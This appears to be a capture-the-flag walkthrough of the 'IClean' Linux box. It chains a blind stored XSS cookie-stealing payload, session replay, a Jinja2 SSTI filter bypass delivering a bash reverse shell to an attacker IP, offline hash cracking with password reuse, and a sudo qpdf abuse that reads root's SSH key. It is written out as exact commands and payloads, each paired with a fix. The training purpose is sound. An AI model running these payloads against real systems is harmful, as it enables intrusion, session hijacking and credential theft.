← all walkthroughs

IClean

Linux· Medium· Web
owned
2026-09-04
time to own
13m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped iclean ($TARGET) to a Flask cleaning-services site at capiclean.htb and abused its public quote-request form to plant a blind stored XSS payload. When the site administrator viewed the request in their dashboard, the payload silently exfiltrated their non-HttpOnly Flask session cookie, which decoded to an MD5 hash of the literal string "admin" — I simply replayed that cookie to reach the authenticated admin dashboard. From there, a Jinja2 server-side template injection in the invoice/QR-code generator, filtered but bypassed with hex-encoded underscores, gave remote code execution as www-data.

Reading the application's source disclosed hardcoded MySQL credentials, whose database held a crackable password hash reused as the OS login for local user consuela, yielding SSH access and the user flag. Finally, an unrestricted sudo rule allowing consuela to run qpdf as root was abused to embed root's SSH private key into a PDF attachment and extract it verbatim, giving a root SSH shell and full compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationVirtual host discovery
Identified the web application and its virtual host
A port scan showed only SSH and a Flask/Werkzeug web server on port 80. Requesting the site with the Host header capiclean.htb returned the real application (a cleaning-services company site, 'Capiclean'), which links to a public 'Request a Quote' form reviewed by an administrator in a back-end dashboard.
Server: Werkzeug/2.3.7 Python/3.10.12; request with Host: capiclean.htb returned the 16697-byte site; /quote form posts to /sendMessage.
Exact commands 3
Confirm open ports 22 (ssh) and 80 (http, Werkzeug).
nmap -sV -p- $TARGET
Add the discovered vhost; the app 400s on the bare IP for some routes.
echo "$TARGET capiclean.htb" | sudo tee -a /etc/hosts
View the quote-request form and its POST target.
curl -s -H 'Host: capiclean.htb' http://$TARGET/quote
2ExploitationStored/blind Cross-Site Scripting (CWE-79)
Planted a blind stored XSS payload in the quote form
The 'service' field of the /sendMessage endpoint was stored and later rendered without sanitization in the administrator's dashboard. An <img onerror> payload was submitted that, once the admin opened the dashboard, fetched their document.cookie to my own listener. Nothing fires immediately — the payload only executes when the admin reviews the queued request.
POST /sendMessage returned HTTP 200; listener later received a Flask 'session' cookie decoding to {"role":"[REDACTED: recovered credential]"} = MD5('admin').
Exact commands 2
Listener to catch the exfiltrated cookie; keep it up and wait for the admin to view the dashboard.
nc -lvnp 7777
Submit the credential-stealing payload via the public quote form.
curl -sS -o /dev/null -w 'status=%{http_code}\n' --max-time 15 -X POST http://$TARGET/sendMessage -H 'Host: capiclean.htb' --data-urlencode "service=<img src=x onerror='fetch(\"http://$ATTACKER_IP:7777/?c=\"+document.cookie)'>" --data-urlencode 'email=callback@capiclean.htb'
FixSanitize and encode all quote-form input before it is rendered in the admin dashboardCritical
WeaknessThe 'service' field submitted through the public /sendMessage quote form was stored and rendered in the administrator's dashboard without any output encoding, letting an unauthorised user plant JavaScript that ran in the admin's browser.
FixHTML-encode every stored field before display (e.g. Jinja2 autoescaping left on, never |safe on user input) and validate/allowlist the service field server-side. Add a Content-Security-Policy (script-src 'self') to limit the impact of any payload that still lands.
3ExploitationSession cookie theft and replay (T1539)
Replayed the stolen admin session cookie
Because the session cookie was not marked HttpOnly, client-side JavaScript could read and exfiltrate it. The captured cookie was set directly in the browser/curl to reach the authentication-gated admin dashboard without ever knowing the admin's real password.
Cookie decoded to {"role":"[REDACTED: recovered credential]"} (MD5 of 'admin'); it was replayed, not forged.
Exact commands 1
Access the admin dashboard using the exfiltrated session cookie.
curl -sS -H 'Host: capiclean.htb' --cookie 'session=<stolen_session_cookie>' http://$TARGET/dashboard
FixMark session cookies HttpOnly (and Secure)High
WeaknessThe Flask session cookie was issued without the HttpOnly flag, so client-side JavaScript delivered via the stored XSS could read and exfiltrate it, letting an unauthorised user replay a valid admin session.
FixSet SESSION_COOKIE_HTTPONLY = True and SESSION_COOKIE_SECURE = True in the Flask app config so the cookie is never accessible to JavaScript and only sent over TLS.
4ExploitationServer-Side Template Injection (Jinja2, CWE-1336 / T1190)
Achieved remote code execution via SSTI in the QR/invoice generator
The dashboard's QR-code/invoice generator passed the qr_link parameter directly into a Jinja2 template. The app blocklisted underscores and common keywords, but the filter was bypassed using hex-escaped underscores (\x5f) inside attr() calls to reach __builtins__ and import os, giving arbitrary command execution as www-data. The shell command itself was also filtered, so a base64-encoded bash reverse shell was piped through base64 -d | bash to deliver an interactive shell.
{{7*7}} returned 49, confirming SSTI; popen('id') returned uid=33(www-data).
Exact commands 3
Confirm template injection (response should contain 49).
curl -sS -H 'Host: capiclean.htb' --cookie 'session=<stolen_session_cookie>' -X POST http://$TARGET/QRGenerator --data-urlencode "qr_link={{7*7}}"
Filter-bypass SSTI RCE: replace <BASE64_OF_...> with base64 of a bash reverse-shell one-liner; catch it with nc -lvnp 443.
curl -sS -H 'Host: capiclean.htb' --cookie 'session=<stolen_session_cookie>' -X POST http://$TARGET/QRGenerator --data-urlencode "qr_link={{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo <BASE64_OF_bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1\"> | base64 -d | bash')|attr('read')()}}"
Upgrade the raw reverse shell to a full TTY.
python3 -c 'import pty;pty.spawn("/bin/bash")'
FixEliminate server-side template injection in the QR/invoice generatorCritical
WeaknessThe QRGenerator endpoint rendered the user-supplied qr_link parameter as a Jinja2 template. A denylist on underscores/keywords was trivially bypassed with hex-escaped characters, giving full remote code execution.
FixNever pass user input into render_template_string() or Template(). Treat qr_link as plain data (pass it as a template variable, not template source) and, if dynamic templating is unavoidable, use Jinja2's SandboxedEnvironment. Do not rely on keyword/character blocklists for this class of bug.
5Credential AccessCredential exposure in source code + offline hash cracking (T1552.001, T1110.002)
Recovered database credentials and cracked a reused password
The Flask app's source code, readable by www-data, contained hardcoded MySQL credentials. Querying the database's users table returned a SHA-256 password hash for the local user consuela, which was cracked offline against rockyou.txt and reused directly as her SSH/OS password, giving a foothold and the user flag.
/opt/app/app.py: user=iclean pass=[REDACTED: recovered credential] db=capiclean; consuela hash [REDACTED: recovered credential] cracked via hashcat -m 1400 to '[REDACTED: recovered credential]'; ssh consuela login returned uid=1000(consuela).
Exact commands 5
From the www-data shell — read hardcoded DB credentials.
cat /opt/app/app.py | grep -i -A2 mysql
Dump application users and their password hashes.
mysql -u iclean -p'$PASSWORD3' capiclean -e 'select * from users;'
Crack the SHA-256 hash offline; recovers '[REDACTED: recovered credential]'.
hashcat -m 1400 consuela_hash.txt rockyou.txt
Confirm SSH access as consuela with the cracked/reused password.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no consuela@$TARGET 'id'
Read the user flag; substitute <user.txt> for the real value.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no consuela@$TARGET 'cat /home/consuela/user.txt'
FixRemove hardcoded database credentials and stop password reuse across accountsHigh
WeaknessThe application's source contained a plaintext MySQL username/password, and the database's stored password hash for consuela was crackable and was reused verbatim as her SSH/OS login password.
FixMove database credentials to environment variables or a secrets manager, never commit them to source. Enforce a strong, unique-password policy (and ideally a slow hash like bcrypt/argon2 instead of raw SHA-256) so application and OS credentials cannot be reused or cracked with a wordlist.
6Privilege EscalationSudo misconfiguration / GTFOBins file-read abuse (T1548.003)
Abused an unrestricted sudo qpdf rule to exfiltrate root's SSH key
Sudo -l showed consuela could run /usr/bin/qpdf as root with no argument restrictions. Qpdf's --add-attachment feature embeds a file's raw bytes uncompressed into a PDF. Root's private SSH key was embedded into an externally writable PDF and extracted verbatim with strings, then used to SSH directly in as root.
Sudo -l: '(ALL) /usr/bin/qpdf'; sudo qpdf --add-attachment /root/.ssh/id_rsa produced a PDF whose strings output contained the key; ssh root@$TARGET id returned uid=0(root).
Exact commands 4
As consuela — enumerate allowed sudo commands.
sudo -l
Embed root's private key into a PDF uncompressed and dump it; the '--' before the output filename is mandatory.
sudo /usr/bin/qpdf --stream-data=uncompress --empty --add-attachment /root/.ssh/id_rsa -- /tmp/iclean-rootkey.pdf && strings /tmp/iclean-rootkey.pdf
Save the extracted key locally and log in as root.
chmod 600 id_rsa && ssh -i id_rsa root@$TARGET id
Read the root flag; substitute <root.txt> for the real value.
ssh -i id_rsa root@$TARGET 'cat /root/root.txt'
FixRestrict or remove the unrestricted sudo qpdf ruleCritical
Weaknessconsuela was permitted via sudo to run /usr/bin/qpdf as root with no argument restrictions, and qpdf's --add-attachment feature let her embed and read any root-owned file, including root's private SSH key.
FixRemove the blanket sudo grant for qpdf. If PDF processing as root is genuinely required, wrap it in a restrictive script with fixed arguments (no --add-attachment / arbitrary file paths) and reference that script in sudoers instead of the raw binary. Audit all sudoers entries against GTFOBins before granting.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp